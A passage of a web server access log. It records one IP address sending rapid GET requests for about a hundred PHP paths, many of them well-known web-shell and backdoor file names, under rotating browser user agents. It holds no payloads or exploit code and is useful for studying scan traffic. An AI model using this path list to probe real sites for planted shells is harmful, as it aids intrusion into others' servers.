-0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:51 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:28:51 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:52 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:52 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:53 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:53 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:53 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:53 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:54 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:28:54 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.192.172 - - [24/Apr/2025:20:28:54 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:55 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:28:55 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:28:55 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:56 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:28:56 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:56 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:28:56 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:28:58 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:28:58 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:59 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:28:59 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:28:59 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:00 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:00 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:01 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:02 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:03 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:03 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:03 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:04 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:04 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:04 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:05 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:05 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:05 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:06 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:29:06 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.192.172 - - [24/Apr/2025:20:29:06 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:29:06 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:07 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.192.172 - - [24/Apr/2025:20:29:07 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:29:07 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:07 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:08 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:29:08 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:09 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:09 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:09 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:09 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.192.172 - - [24/Apr/2025:20:29:10 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:10 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:10 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:11 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:11 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:12 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:12 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.192.172 - - [24/Apr/2025:20:29:13 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:13 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:14 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:29:14 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:14 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:14 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:29:15 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:15 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:15 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:16 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:17 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:17 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:18 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:18 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:19 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:29:19 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:20 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:20 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:29:20 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:21 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:21 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:21 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:22 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:22 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:23 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:23 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:23 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.192.172 - - [24/Apr/2025:20:29:24 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:24 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.192.172 - - [24/Apr/2025:20:29:25 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:25 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:25 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.192.172 - - [24/Apr/2025:20:29:26 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:27 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:27 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:28 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:29 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:29 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:30 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:30 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:30 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.192.172 - - [24/Apr/2025:20:29:31 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:32 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:32 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:32 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:33 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:34 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:34 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:35 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:35 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.192.172 - - [24/Apr/2025:20:29:35 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:36 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.192.172 - - [24/Apr/2025:20:29:36 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:36 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.192.172 - - [24/Apr/2025:20:29:37 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.192.172 - - [24/Apr/2025:20:29:37 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.192.172 - - [24/Apr/2025:20:29:37 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" 